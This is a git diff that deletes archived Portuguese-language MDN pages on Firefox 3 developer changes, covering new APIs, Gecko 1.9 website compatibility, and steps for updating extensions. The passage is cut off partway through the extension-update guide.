-</dl>
-<h4 id="New_components_and_functionality" name="New_components_and_functionality">New components and functionality</h4>
-<dl>
- <dt>
- <a href="/en-US/docs/Toolkit_API/FUEL" title="en-US/docs/FUEL">FUEL Library</a></dt>
- <dd>
- FUEL is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Places" title="en-US/docs/Places">Places</a></dt>
- <dd>
- The history and bookmarks APIs have been completely replaced by the new <a href="/en-US/docs/Places" title="en-US/docs/Places">Places</a> API.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/nsIIdleService" title="en-US/docs/nsIIdleService">Idle service</a></dt>
- <dd>
- Firefox 3 offers the new {{Interface("nsIIdleService")}} interface, which lets extensions determine how long it's been since the user last pressed a key or moved their mouse.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/nsIZipWriter" title="en-US/docs/nsIZipWriter">ZIP writer</a></dt>
- <dd>
- The new {{Interface("nsIZipWriter")}} interface lets extensions create ZIP archives.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Full_page_zoom" title="en-US/docs/Full_page_zoom">Full page zoom</a></dt>
- <dd>
- Firefox 3 improves the user experience by offering full page zoom in addition to text-only zoom.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Interfacing_with_the_XPCOM_cycle_collector" title="en-US/docs/Interfacing_with_the_XPCOM_cycle_collector">Interfacing with the XPCOM cycle collector</a></dt>
- <dd>
- XPCOM code can now take advantage of the cycle collector, which helps ensure that unused memory gets released instead of leaking.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/The_Thread_Manager" title="en-US/docs/The_Thread_Manager">The Thread Manager</a></dt>
- <dd>
- Firefox 3 provides the new {{Interface("nsIThreadManager")}} interface, along with new interfaces for threads and thread events, which provides a convenient way to create and manage threads in your code.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/JavaScript_code_modules" title="en-US/docs/JavaScript_modules">JavaScript modules</a></dt>
- <dd>
- Firefox 3 now offers a new shared code module mechanism that lets you easily create modules in JavaScript that can be loaded by extensions and applications for use, much like shared libraries.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/nsIJSON" title="en-US/docs/nsIJSON">The <code>nsIJSON</code> interface</a></dt>
- <dd>
- Firefox 3 offers the new {{Interface("nsIJSON")}} interface, which offers high-performance encoding and decoding of <a href="/en-US/docs/JSON" title="en-US/docs/JSON">JSON</a> strings.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/XPCOM_Interface_Reference/nsIParentalControlsService" title="en-US/docs/nsIParentalControlsService">The nsIParentalControlsService interface</a></dt>
- <dd>
- Firefox 3 now supports the Microsoft Windows Vista parental controls feature, and allows code to interact with it.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Using_content_preferences" title="en-US/docs/Using_content_preferences">Using content preferences</a></dt>
- <dd>
- Firefox 3 includes a new service for getting and setting arbitrary site-specific preferences that extensions as well as core code can use to keep track of their users' preferences for individual sites.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Monitoring_plugins" title="en-US/docs/Monitoring_plugins">Plug-in Monitoring</a></dt>
- <dd>
- A new component of the plugin system is now available to measure how long it takes plugins (e.g., Macromedia Flash) to execute their calls.</dd>
-</dl>
-<h4 id="Fixed_bugs" name="Fixed_bugs">Fixed bugs</h4>
-<dl>
- <dt>
- <a href="/en-US/docs/Notable_bugs_fixed_in_Firefox_3" title="en-US/docs/Notable_bugs_fixed_in_Firefox_3">Notable bugs fixed in Firefox 3</a></dt>
- <dd>
- This article provides information about bugs that have been fixed in Firefox 3.</dd>
-</dl>
-<h2 id="New_features_for_end_users" name="New_features_for_end_users">New features for end users</h2>
-<h3 id="User_experience" name="User_experience">User experience</h3>
-<ul>
- <li><strong>Easier password management.</strong> An information bar at the top of the browser window now appears to allow you to save passwords after a successful login.</li>
- <li><strong>Simplified add-on installation.</strong> You can now install extensions from third-party download sites in fewer clicks, thanks to the removal of the add-on download site whitelist.</li>
- <li><strong>New Download Manager.</strong> The download manager makes it easier to locate your downloaded files.</li>
- <li><strong>Resumable downloads.</strong> You can now resume downloads after restarting the browser or resetting your network connection.</li>
- <li><strong>Full page zoom.</strong> From the View menu and using keyboard shortcuts, you can now zoom in and out on the content of entire pages -- this scales not just the text but the layout and images as well.</li>
- <li><strong>Tab scrolling and quickmenu.</strong> Tabs are easier to locate with the new tab scrolling and tab quickmenu features.</li>
- <li><strong>Save what you were doing.</strong> Firefox 3 prompts you to see if you'd like to save your current tabs when you exit Firefox.</li>
- <li><strong>Optimized Open in Tabs behavior.</strong> Opening a folder of bookmarks in tabs now appends the new tabs instead of replacing the existing ones.</li>
- <li><strong>Easier to resize location and search bars.</strong> You can now easily resize the location and search bars using a simple resize handle between them.</li>
- <li><strong>Text selection improvements.</strong> You can now select multiple ranges of text using the Control (Command on Macintosh) key. Double-clicking and dragging now selects in "word-by-word" mode. Triple-clicking selects an entire paragraph.</li>
- <li><strong>Find toolbar.</strong> The Find toolbar now opens with the current selection.</li>
- <li><strong>Plugin management.</strong> Users can now disable individual plugins in the Add-on Manager.</li>
- <li><strong>Integration with Windows Vista.</strong> Firefox's menus now display using Vista's native theme.</li>
- <li><strong>Integration with Mac OS X.</strong> Firefox now supports <a class="external" href="http://growl.info/">Growl</a> for notifications of completed downloads and available updates.</li>
- <li><strong>Star button.</strong> The new star button in the location bar lets you quickly add a new bookmark with a single click. A second click lets you file and tag your new bookmark.</li>
- <li><strong>Tags.</strong> You can now associate keywords with your bookmarks to easily sort them by topic.</li>
- <li><strong>Location bar and auto-complete.</strong> Type the title or tag of a page in the location bar to quickly find the site you were looking for in your history and bookmarks. Favicons, bookmark, and tag indicators help you see where the results are coming from.</li>
- <li><strong>Smart Bookmarks folder.</strong> Firefox's new Smart Bookmarks folder offers quick access to your recently bookmarked and tagged places, as well as pages you visit frequently.</li>
- <li><strong>Bookmarks and History Organizer.</strong> The new unified bookmarks and history organizer lets you easily search your history and bookmarks with multiple views and smart folders for saving your frequent searches.</li>
- <li><strong>Web-based protocol handlers.</strong> Web applications, such as your favorite web mail provider, can now be used instead of desktop applications for handling <code>mailto:</code> links from other sites. Similar support is provided for other protocols as well. (Note that web applications do have to register themselves with Firefox before this will work.)</li>
- <li><strong>Easy to use Download Actions.</strong> A new Applications preferences pane provides an improved user interface for configuring handlers for various file types and protocol schemes.</li>
- <li><strong>Improved look and feel.</strong> Graphics and font handling have been improved to make web sites look better on your screen, including sharper text rendering and better support for fonts with ligatures and complex scripts. In addition, Mac and Linux (Gnome) users will find that Firefox feels more like a native application for their platform than ever, with a new, native, look and feel.</li>
- <li><strong>Color management support.</strong> By setting the <code>gfx.color_management.enabled</code> preference in <code>{{mediawiki.external('about:config')}}</code>, you can ask Firefox to use the color profiles embedded in images to adjust the colors to match your computer's display.</li>
- <li><strong>Offline support.</strong> Web applications can take advantage of new features to support being used even when you don't have an Internet connection.</li>
-</ul>
-<h3 id="Security_and_privacy" name="Security_and_privacy">Security and privacy</h3>
-<ul>
- <li><strong>One-click site information.</strong> Want to know more about the site you're visiting? Click the site's icon in the location bar to see who owns it. Identify information is prominently displayed and easier than ever to understand.</li>
- <li><strong>Malware protection.</strong> Firefox 3 warns you if you arrive at a web site that is known to install viruses, spyware, trojans, or other dangerous software (known as malware). You can see what the warning looks like by <a class="link-https" href="https://www.mozilla.com/firefox/its-an-attack.html">clicking here</a>.</li>
- <li><strong>Web forgery protection enhanced.</strong> Now when you visit a page that's suspected of being a forgery, you're shown a special page instead of the contents of the page with a warning. <a class="link-https" href="https://www.mozilla.com/firefox/its-a-trap.html">Click here</a> to see what it looks like.</li>
- <li><strong>Easier to understand SSL errors.</strong> The errors presented when an invalid SSL certificate is encountered have been clarified to make it easier to understand what the problem is.</li>
- <li><strong>Out-of-date add-on protection.</strong> Firefox 3 now automatically checks add-on and plugin versions and disables older, insecure versions.</li>
- <li><strong>Secure add-on updates.</strong> Add-on update security has been improved by disallowing add-ons that use an insecure update mechanism.</li>
- <li><strong>Anti-virus integration.</strong> Firefox 3 now informs anti-virus software when executable files are downloaded.</li>
- <li><strong>Windows Vista parental controls support.</strong> Firefox 3 supports the Vista system-wide parental control setting for disabling file downloads.</li>
-</ul>
-<h3 id="Performance" name="Performance">Performance</h3>
-<ul>
- <li><strong>Reliability.</strong> Firefox 3 now stores bookmarks, history, cookies, and preferences in a transactionally secure database format. This means your data is protected against loss even if your system crashes.</li>
- <li><strong>Speed.</strong> Firefox 3 has gotten a performance boost by completely replacing the part of the software that handles drawing to your screen, as well as to how page layout work is handled.</li>
- <li><strong>Memory use reduced.</strong> Firefox 3 is more memory efficient than ever, with over 300 memory "leak" bugs fixed and new features to help automatically locate and dispose of leaked memory blocks.</li>
-</ul>
-<h2 id="See_also" name="See_also">See also</h2>
-
-<div>{{Firefox_for_developers('2')}}</div>
diff --git a/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html b/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html
deleted file mode 100644
index 3c8b290205..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html
+++ /dev/null
@@ -1,78 +0,0 @@
----
-title: Mudanças no Gecko 1.9 que afetam websites
-slug: Mozilla/Firefox/Releases/3/Site_compatibility
-tags:
- - Desenvolvimento_Web
- - Gecko
- - Todas_as_Categorias
-translation_of: Mozilla/Firefox/Releases/3/Site_compatibility
-original_slug: Mudanças_no_Gecko_1.9_que_afetam_websites
----
-<div>{{FirefoxSidebar}}</div>
-
-<p>Esta página tenta dar uma introdução das mudanças entre o <a href="pt/Gecko">Gecko</a> 1.8 e o Gecko 1.9, que poderia possivelmente afetar websites em seu comportamento ou interpretação. Veja também <a href="pt/Firefox_3_para_desenvolvedores">Firefox 3 para desenvolvedores</a>.</p>
-
-<h2 id="Eventos" name="Eventos">Eventos</h2>
-
-<h3 id="Capturando_ouvintes_de_carregamento_de_eventos" name="Capturando_ouvintes_de_carregamento_de_eventos">Capturando ouvintes de carregamento de eventos</h3>
-
-<p>No Gecko 1.8, não era possível configurar a captura de ouvintes de carregamento de eventos em imagens. No Gecko 1.9, isto foi corrigido por {{ Bug(234455) }}. Mas isto pode causar problemas em websites que tenham seus ouvintes de eventos incorretamente configurados para capturar o carregamento de evento. Veja a discussão em {{ Bug(335251) }}. Para corrigir este problema, a página problemática em questão não deve configurar uma captura de ouvintes de carregamento de eventos.</p>
-
-<p>Por exemplo, isto:</p>
-
-<pre class="eval">window.addEventListener('load', yourFunction, true);
-</pre>
-
-<p>deve ser mudado nisto:</p>
-
-<pre class="eval">window.addEventListener('load', yourFunction, false);
-</pre>
-
-<p>Para uma explanação de como eventos de captura trabalham, veja <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM Level 2 Event capture</a></p>
-
-<h3 id="preventBubble_foi_removido" name="preventBubble_foi_removido"><code>preventBubble</code> foi removido</h3>
-
-<p>No Gecko 1.8, o método <code>preventBubble</code> existia em eventos para previnir eventos de "borbulhar para cima". No Gecko 1.9 este método foi removido. Dessa forma, você deve usar o padrão <a href="pt/DOM/event.stopPropagation">stopPropagation()</a>, o qual também trabalha bem no Gecko 1.8. O<em>patch</em> em {{ Bug(330494) }} fez isto acontecer. Veja também {{ Bug(105280) }}.</p>
-
-<h3 id="Algumas_outras_APIs_de_evento_antigas_n.C3.A3o_s.C3.A3o_mais_suportadas" name="Algumas_outras_APIs_de_evento_antigas_n.C3.A3o_s.C3.A3o_mais_suportadas">Algumas outras APIs de evento antigas não são mais suportadas</h3>
-
-<p><a href="pt/DOM/window.captureEvents">window.captureEvents</a>, <a href="pt/DOM/window.releaseEvents">window.releaseEvents</a>, e <code>window.routeEvent</code> são são mais suportadas ({{ Obsolete_inline() }}) no Gecko 1.9.</p>
-
-<h2 id="DOM" name="DOM">DOM</h2>
-
-<h3 id="WRONG_DOCUMENT_ERR" name="WRONG_DOCUMENT_ERR"><code>WRONG_DOCUMENT_ERR</code></h3>
-
-<p></p><p>Nodes from external documents should be cloned using <a class="new" href="/pt-PT/docs/Web/API/Document/importNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.importNode()</code></a> (or adopted using <a class="new" href="/pt-PT/docs/Web/API/Document/adoptNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.adoptNode()</code></a>) before they
- can be inserted into the current document. For more on the <a class="new" href="/pt-PT/docs/Web/API/Node/ownerDocument" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>Node.ownerDocument</code></a> issues, see the
- <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
-
- <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
- sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
- improved future compatibility.</p><p></p>
-
-<h2 id="Alcances" name="Alcances">Alcances</h2>
-
-<h3 id="intersectsNode_foi_removido" name="intersectsNode_foi_removido"><code>intersectsNode</code> foi removido</h3>
-
-<p>No Gecko 1.8 a função do código <code>intersectsNode</code> é usada para testar se um nó intercepta um alcance. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Dessa forma use a função mais precisa e padrão <a href="pt/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a>. O<em>patch</em> em {{ Bug(358073) }} removeu esta função.</p>
-
-<p>Veja a documentação para <a href="pt/DOM/range.intersectsNode">intersectsNode</a> para como usar <code>compareBoundaryPoints</code> em vez disso.</p>
-
-<h3 id="compareNode_foi_removido" name="compareNode_foi_removido"><code>compareNode</code> foi removido</h3>
-
-<p>No Gecko 1.8 a função do código <code>compareNode</code> é usada para testar como um nó intercepta um alcante. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Em vez disso use a função mais precisa e padrão <a href="pt/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a>. O<em>patch</em> em {{ Bug(358073) }} removeu esta função.</p>
-
-<p>Veja a documentação para <a href="pt/DOM/range.compareNode">compareNode</a> para como usar <code>compareBoundaryPoints</code> em vez disso.</p>
-
-<h2 id="HTML" name="HTML">HTML</h2>
-
-<h3 id="Muitos_bugs_em_.3Cobject.3E_foram_corrigidos" name="Muitos_bugs_em_.3Cobject.3E_foram_corrigidos">Muitos<em>bugs</em> em <code>&lt;object&gt;</code> foram corrigidos</h3>
-
-<p>Os elementos <code>object</code> e <code>embed</code> não precisam mais do atributo <code>type</code> para interpretar. Mudando o atributo <code>src</code> (de <code>&lt;embed&gt;</code>) ou o atributo <code>data</code> (de <code>&lt;object&gt;</code>) via JavaScript agora trabalha corretamente. O cabeçalho Conteúdo-Tipo enviado pelo servidor (se algum) agora toma procedências sobre o atributo <code>type</code> de um elemento <code>&lt;object&gt;</code> de acordo com a especificação HTML. (este não é o caso de <code>embed</code>).</p>
-
-<p><br>
- <span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "fr": "fr/Changements_dans_Gecko_1.9_affectant_les_sites_Web", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "ko": "ko/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron" } ) }}</p>
diff --git a/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html b/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html
deleted file mode 100644
index d213047978..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html
+++ /dev/null
@@ -1,210 +0,0 @@
----
-title: Atualização das extensões para o Firefox 3
-slug: Mozilla/Firefox/Releases/3/Updating_extensions
-tags:
- - Firefox 3
-translation_of: Mozilla/Firefox/Releases/3/Updating_extensions
-original_slug: Atualizando_extensões_para_o_Firefox_3
----
-<div><section class="Quick_links" id="Quick_Links">
- <ol>
- <li class="toggle">
- <details>
- <summary>Firefox developer release notes</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Releases">Firefox developer release notes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Add-ons</summary>
- <ol>
- <li><a href="/pt-PT/Add-ons/WebExtensions">Browser extensions</a></li>
- <li><a href="/pt-PT/Add-ons/Themes">Themes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Firefox internals</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/">Mozilla project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Gecko">Gecko</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Headless_mode">Headless mode</a></li>
- <li><a href="/pt-PT/docs/Mozilla/JavaScript_code_modules">JavaScript code modules</a></li>
- <li><a href="/pt-PT/docs/Mozilla/js-ctypes">JS-ctypes</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MathML_Project">MathML project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MFBT">MFBT</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Projects">Mozilla projects</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Preferences">Preference system</a></li>
- <li><a href="/pt-PT/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XPCOM">XPCOM</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XUL">XUL</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Building and contributing</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions">Build instructions</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options">Configuring build options</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/How_Mozilla_s_build_system_works">How the build system works</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Mozilla source code</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Localization">Localization</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Mercurial">Mercurial</a></li>
- <li><a href="/pt-PT/docs/Mozilla/QA">Quality assurance</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Using_Mozilla_code_in_other_projects">Using Mozilla code in other projects</a></li>
- </ol>
- </details>
- </li>
- </ol>
-</section></div>
-
-<p> Este artigo proporciona informações úteis para desenvolvedores que desejam atualizar suas extensões para que funcionem corretamente no Firefox 3.</p>
-
-<p>Antes de continuar, há uma sugestão útil que podemos oferecer: se a única mudança que sua extensão requere é uma atualização no campo <code>maxVersion</code> no seu manifesto de instalação, e você hospedou sua extensão em <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a>, você atualmente não precisa disponibilizar uma nova versão da sua extensão! Simplesmente use o Painel de Controle de Desenvolvedores em AMO para ajustar o <code>maxVersion</code>. Você pode evitar de ter sua extensão re-revisada por este caminho.</p>
-
-<h3 id="1.C2.B0_Passo_Atualize_o_manifesto_de_instala.C3.A7.C3.A3o" name="1.C2.B0_Passo:_Atualize_o_manifesto_de_instala.C3.A7.C3.A3o">Passo 1: Atualizar o manifesto de instalação</h3>
-
-<p>O primeiro passo -- e, para muitas das extensões, o único que será necessário -- é atualizar o arquivo <a href="/pt/install.rdf" title="pt/install.rdf">manifesto de instalação</a>, <code>install.rdf</code>, para indicar compatibilidade com o Firefox 3.</p>
-
-<p>Simplesmente ache a linha que indica a máxima versão compatível do Firefox (que, para o Firefox 2, pode indicar como aqui):</p>
-
-<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;</span>
-</pre>
-
-<p>Mude isto para indicar compatibilidade com o Firefox 3:</p>
-
-<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;3.0.*&lt;/em:maxVersion&gt;</span>
-</pre>
-
-<p>Então reinstale sua extensão.</p>
-
-<p>Note que o Firefox 3 acaba com o ".0" extra no número da versão, então, ao invés de usar "3.0.0.*", você precisa usar somente "3.0.*".</p>
-
-<div class="note"><strong>Nota:</strong> Note que neste ponto mais mudanças no Firefox 3 são esperadas. Estas mudanças podem quebrar algumas extensões, então você não precisa lançar sua extensão com <code>3.0.*</code> <code>maxVersion</code> para os usuários antes que o Firefox 3 candidato a liberação seja lançado. Durante o período do Firefox 3 Beta, você pode usar <code>3.0b5</code> como sua <code>maxVersion</code>.</div>
-
-<p>Tem havido (e continuará a haver) um número de mudanças na API que poderão quebrar algumas extensões. Nós estamos trabalhando na compilação de uma lista completa destas mudanças.</p>
-
-<div class="note"><strong>Nota:</strong> Se a sua extensão ainda usa um script <code><a href="/en/Install.js">Install.js</a></code> ao invés de um <a href="/pt/install.rdf" title="pt/install.rdf">manifesto de instalação</a>, você precisa fazer a transição para um manifesto de instalação agora. O Firefox 3 não mais suporta os scripts <code>install.js</code> em arquivos XPI.</div>
-
-<h4 id="Adicionando_localiza.C3.A7.C3.B5es_para_o_manifesto_de_instala.C3.A7.C3.A3o" name="Adicionando_localiza.C3.A7.C3.B5es_para_o_manifesto_de_instala.C3.A7.C3.A3o">Adicionando localizações para o manifesto de instalação</h4>
-
-<p>O Firefox 3 suporta novas propriedades no manifesto de instalação para especificar descrições localizadas. Os antigos métodos ainda funcionam, entretanto o novo Firefox permite pegar as localizações sempre que os complementos estiverem desabilitados e com instalação pendente. Veja <a href="/pt/Localizar_descrições_de_extensões" title="pt/Localizar_descrições_de_extensões">Localizar descrições de extensões</a> para mais detalhes.</p>
-
-<h3 id="2.C2.B0_Passo_Assegure-se_de_estar_oferecendo_atualiza.C3.A7.C3.B5es_seguras" name="2.C2.B0_Passo:_Assegure-se_de_estar_oferecendo_atualiza.C3.A7.C3.B5es_seguras">Passo 2: Certificar-se de que está a proporcionar atualizações seguras</h3>
-
-<p>Se você está hospedando complementos por si mesmo e não em um provedor de hospedagem de complementos seguro como <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a> então você precisa oferecer um método seguro de atualizar seu complemento. Isto poderá envolver a hospedagem das suas atualizações em um website SSL, ou usando chaves criptográficas para assinar a informação da atualização. Leia <a href="/en/Extension_Versioning,_Update_and_Compatibility#Securing Updates">Securing Updates</a> para mais informações.</p>
-
-<h3 id="3.C2.B0_Passo_Lidar_com_APIs_mudadas" name="3.C2.B0_Passo:_Lidar_com_APIs_mudadas">Passo 3: Lidar com APIs alteradas</h3>
-
-<p>Várias APIs foram alterados de maneira significativa. O mais significativo destes, que provavelmente afetará um grande número de extensões, são:</p>
-
-<h4 id="DOM" name="DOM">DOM</h4>
-
-<p>Nodes from external documents should be cloned using <a class="new" href="/pt-PT/docs/Web/API/Document/importNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.importNode()</code></a> (or adopted using <a class="new" href="/pt-PT/docs/Web/API/Document/adoptNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.adoptNode()</code></a>) before they
- can be inserted into the current document. For more on the <a class="new" href="/pt-PT/docs/Web/API/Node/ownerDocument" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>Node.ownerDocument</code></a> issues, see the
- <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
-
- <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
- sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
- improved future compatibility.</p>
-
-<h4 id="Favoritos__Hist.C3.B3rico" name="Favoritos_&amp;_Hist.C3.B3rico">Marcadores &amp; Histórico</h4>
-
-<p>Se sua extensão acessa dados dos favoritos ou do histórico de alguma maneira, ela precisará de um trabalho substancial para tornar-se compatível com o Firefox 3. As antigas APIs de acesso a estas informações foram substituidas pela nova arquitetura <a href="/en/Places">en:Places</a>. Veja <a href="/en/Places/Migration_Guide">Migration Guide for Places</a> para detalhes na atualização da sua extensão existente para usar a API Places.</p>
-
-<h4 id="Gerenciador_de_Downloads" name="Gerenciador_de_Downloads">Gestor de Descargas</h4>
-
-<p>A API do Gestor de Descargas foi alterado ligeiramente devido à transição de um RDF para armazenar dados usando a API <a href="/en/Storage">en:Storage</a>. Esta pode ser uma transição muito fácil de fazer. Além disso, a API de monitoramento do progesso de downloads mudou para suportar múltiplos <em>receptores</em> no gestor de descargas. Consulte <a href="/en/nsIDownloadManager">en:nsIDownloadManager</a>, <a href="/en/nsIDownloadProgressListener">en:nsIDownloadProgressListener</a>, e <a href="/en/Monitoring_downloads">en:Monitoring downloads</a> para mais informação.</p>
-
-<h4 id="Gerenciador_de_Senhas" name="Gerenciador_de_Senhas">Gestor de Palavras-passe</h4>
-
-<p>Se sua extensão acessa informações do login de usuário usando o Gerenciador de Senhas, será necessário atualizá-la para usar a nova API de Gerenciamento de Login.</p>
-
-<ul>
- <li>O artigo <a href="/en/Using_nsILoginManager">en:Using nsILoginManager</a> inclui exemplos, incluindo uma demonstração de como escrever sua extensão para que trabalhe tanto com o Gerenciador de Senhas quanto com o Gerenciador de Login, então ela irá funcionar tanto no Firefox quanto em versões anteriores.</li>
- <li><code><a href="/en/nsILoginInfo">en:nsILoginInfo</a></code></li>
- <li><code><a href="/en/nsILoginManager">en:nsILoginManager</a></code></li>
-</ul>
-
-<p>Você pode também sobrepor o armazenamento do gerenciador de senhas construído se você desejar fornecer a implementação de seu próprio armazenamento de senhas nas suas extensões. Veja Criando um módulo de armazenamento de Gerenciador de Login para mais detalhes.</p>
-
-<h4 id="Popups_.28Menus.2C_Menus_de_Contexto.2C_Dicas_e_Pain.C3.A9is.29" name="Popups_.28Menus.2C_Menus_de_Contexto.2C_Dicas_e_Pain.C3.A9is.29">janelas (Menus, Menus de Contexto, Dicas de Ferramenta e Painéis)</h4>
-
-<p>O sistema de Popup XUL foi bastante modificado no Firefox 3. O sistema de Popup inclui menus principais, menus de contexto e painéis popup. Um guia sobre como <a href="/en/XUL/PopupGuide">usar Popups</a> foi criado, detalhando como o sistema trabalha. Uma coisa a se notar é que <code>popup.<span id="m-showPopup"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/showPopup">showPopup</a></code></span></code> foi depreciado em favor do novo <code>popup.<span id="m-openPopup"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/openPopup">openPopup</a></code></span></code> e <code>popup.<span id="m-openPopupAtScreen"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/openPopupAtScreen">openPopupAtScreen</a></code></span></code>.</p>
-
-<h4 id="Autocompletar" name="Autocompletar">Auto Completar</h4>
-
-<p>O método <code><a href="/en/nsIAutoCompleteController#handleEnter()">handleEnter()</a></code> da interface <a href="/en/nsIAutoCompleteController">en:nsIAutoCompleteController</a> foi alterado para aceitar um argumento que indica quando o texto foi selecionado do popup autocompletar ou pelo usuário pressionando enter depois de digitar o texto.</p>
-
-<h4 id="DOMParser" name="DOMParser">DOMParser</h4>
-
-<ul>
- <li>Quando um <code>DOMParser</code> é instanciado, este herda o código principal dito e os <code>documentURI</code> e <code>baseURI</code> da janela de onde o construtor vier.</li>
- <li>Se o chamador tiver privilégios UniversalXPConnect, ele pode passar parâmetros para <code> new DOMParser()</code>. Se menos de três parâmetros forem passados, os parâmetros restantes serão padronizados para <code>null</code>.
- <ul>
- <li>O primeiro parâmetro é o principal para uso; ele sobrepõe o padrão principal normalmente herdado.</li>
- <li>O segundo parâmetro é o <code>documentURI</code> para uso.</li>
- <li>O terceiro parâmetro é o <code>baseURI</code> para uso.</li>
- </ul>
- </li>
- <li>Se inicializa um <code>DOMParser</code> usando um contrato, somente através de uma chamada <code>createInstance()</code>, e não fizer a chamada do método <code>init()</code> do <code>DOMParser</code>, tentando iniciar a operação de análise será criada automaticamente a inicialização de <code>DOMParser</code> com um nulo principal e apontadores <code>null</code> para <code>DocumentURI</code> e <code>baseURI</code>.</li>
-</ul>
-
-<h4 id="Interfaces_removidas" name="Interfaces_removidas">Interfaces removidas</h4>
-
-<p>As seguintes interfaces foram removidas do Gecko 1.9, que direcionam o Firefox 3. Se sua extensão faz uso de alguma destas, você precisará atualizar seu código:</p>
-
-<ul>
- <li><code>nsIDOMPaintListener</code></li>
- <li><code>nsIDOMScrollListener</code></li>
- <li><code>nsIDOMMutationListener</code></li>
- <li><code>nsIDOMPageTransitionListener</code></li>
- <li><code>nsICloseAllWindows</code> (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=386200" title='FIXED: SeaMonkey only: no "view cert button" in untrusted cert error dialog'>bug 386200</a>)</li>
-</ul>
-
-<h3 id="4.C2.B0_Passo_Cheque_por_mudan.C3.A7as_relevantes_no_chrome" name="4.C2.B0_Passo:_Cheque_por_mudan.C3.A7as_relevantes_no_chrome">Passo 4: Procurar por alterações relevantes no chrome</h3>
-
-<p>Houveram menores mudanças no chrome que podem requisitar mudanças no seu código. Uma nova <code>vbox</code> foi adicionada, chamada "browser-bottombox", que inclui a barra de procura e a barra de estado à janela do navegador. Embora ela não afete a aparência da exibição, ela pode afetar sua extensão se ela sobrepuser o chrome em relação a estes elementos.</p>
-
-<p>Por exemplo, se você anteriormente sobrepôs algum chrome antes da barra de estado, como isto:</p>
-
-<pre>&lt;window id="main-window"&gt;
- &lt;something insertbefore="status-bar" /&gt;
-&lt;/window&gt;
-</pre>
-
